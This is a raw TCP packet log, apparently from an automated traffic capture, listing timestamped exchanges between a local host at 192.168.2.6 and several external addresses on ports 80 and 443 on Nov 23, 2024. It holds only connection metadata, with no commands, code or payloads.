Nov 23, 2024 05:02:50.024990082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.025427103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.025499105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.026360989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.026375055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.026386023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.026426077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.026458025 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.027908087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.027971029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.028058052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.028312922 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.028326035 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.028377056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.028410912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.030193090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.030208111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.030245066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.030282974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.030316114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.030484915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.030541897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.031308889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.031325102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.031375885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.032042980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.032175064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.032233000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.033003092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.033139944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.033596039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.033654928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.034224987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.034236908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.034303904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.034948111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.035021067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.035073042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.035202980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.035985947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.035999060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.036056995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.036092043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.036858082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.036923885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.036958933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.037122965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.037791967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.037812948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.037856102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.037890911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.038784027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.038796902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.039058924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.039905071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.039973974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.040487051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.040551901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.040936947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.040951014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.041007042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.041603088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.041683912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.041685104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.042031050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.042705059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.042782068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.042876959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.043538094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.043554068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.043616056 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.044507980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.044522047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.044588089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.045458078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.045480013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.045542002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.046294928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.047636032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.058110952 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:50.058146954 CET	443	49875	3.168.73.83	192.168.2.6
Nov 23, 2024 05:02:50.075937033 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.075962067 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.076016903 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.076034069 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.076045990 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.076071978 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.104587078 CET	49875	443	192.168.2.6	3.168.73.83
Nov 23, 2024 05:02:50.107110023 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.107137918 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.107203007 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.107228994 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.107254028 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.107265949 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.114697933 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:50.114725113 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:50.114943981 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:50.115528107 CET	49882	443	192.168.2.6	20.198.119.84
Nov 23, 2024 05:02:50.115539074 CET	443	49882	20.198.119.84	192.168.2.6
Nov 23, 2024 05:02:50.128371000 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.128391981 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.128462076 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.128485918 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.128770113 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.149616003 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.149652958 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.149708986 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.149734020 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.149750948 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.149983883 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.197602987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.197621107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.197685957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.198074102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.198123932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.198198080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.198796034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.199060917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.199098110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.199104071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.199810982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.199982882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.200028896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.200161934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.200270891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.200992107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.201008081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.201044083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.201906919 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.201922894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.201948881 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.201967955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.202869892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.202893019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.202920914 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.202949047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.203870058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.203885078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.203912973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.203928947 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.204782963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.204798937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.204868078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.205678940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.205718994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.205977917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.206204891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.206662893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.206707001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.207003117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.207063913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.207577944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.207623959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.207626104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.207670927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.208548069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.208667040 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.208693027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.208709002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.209501028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.209590912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.210118055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.210170031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.210453987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.210469007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.210506916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.211400032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.211568117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.211636066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.211688995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.212364912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.212481976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.212593079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.213335991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.213350058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.213386059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.213403940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.214268923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.214318991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.214494944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.214564085 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.215274096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.215290070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.215359926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.216222048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.216237068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.216291904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.216324091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.217175961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.217190981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.217242002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.218090057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.218113899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.218177080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.219069004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.219084978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.219140053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.220061064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.220074892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.220133066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.220982075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.220995903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.221062899 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.221915007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.221987009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.222037077 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.222631931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.222898960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.222917080 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.222956896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.223000050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.223799944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.223845005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.223969936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.224769115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.224786043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.224874973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.224874973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.225712061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.225814104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.225871086 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.226666927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.226741076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.275269032 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.275290012 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.275367975 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.275393963 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.275434971 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.281440973 CET	49883	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:50.281474113 CET	443	49883	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:50.281672001 CET	49883	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:50.282272100 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:50.282315969 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:50.282373905 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:50.287234068 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.287251949 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.287327051 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.287334919 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.287372112 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.289875031 CET	49884	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:50.289906025 CET	443	49884	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:50.290235043 CET	49883	443	192.168.2.6	172.64.41.3
Nov 23, 2024 05:02:50.290250063 CET	443	49883	172.64.41.3	192.168.2.6
Nov 23, 2024 05:02:50.300770044 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.300789118 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.300877094 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.300889969 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.300928116 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.314295053 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.314312935 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.314413071 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.314425945 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.314518929 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.315912962 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.326256037 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.326283932 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.326340914 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.326366901 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.326392889 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.326493979 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.340487003 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.340504885 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.340583086 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.340605974 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.340755939 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.419337988 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.419377089 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.419429064 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.419461012 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.419477940 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.419596910 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.435446024 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.476593971 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.476634979 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.476691008 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.476701975 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.476726055 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.476747036 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.484266996 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.484298944 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.484349012 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.484355927 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.484379053 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.484405041 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.491817951 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.491851091 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.491904974 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.491911888 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.491934061 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.491950035 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.499526024 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.499562025 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.499605894 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.499615908 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.499650002 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.499650002 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.504954100 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.504993916 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.505042076 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.505048990 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.505081892 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.505086899 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.505405903 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.505564928 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 05:02:50.505578041 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 05:02:50.762026072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.762065887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.762273073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.762319088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.762353897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.762393951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.763211966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.763279915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.763308048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.763334990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.763945103 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.764004946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.764015913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.764234066 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.764909029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.764992952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.765022993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.765077114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.765872955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.766016960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.766683102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.766819000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.766858101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.766896963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.767770052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.767854929 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.767868996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.768023968 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.768712997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.768755913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.768817902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.768982887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.769697905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 23, 2024 05:02:50.769756079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 23, 2024 05:02:50.769809961 CET	80	49819	185.215.113.206	192.168.2.6
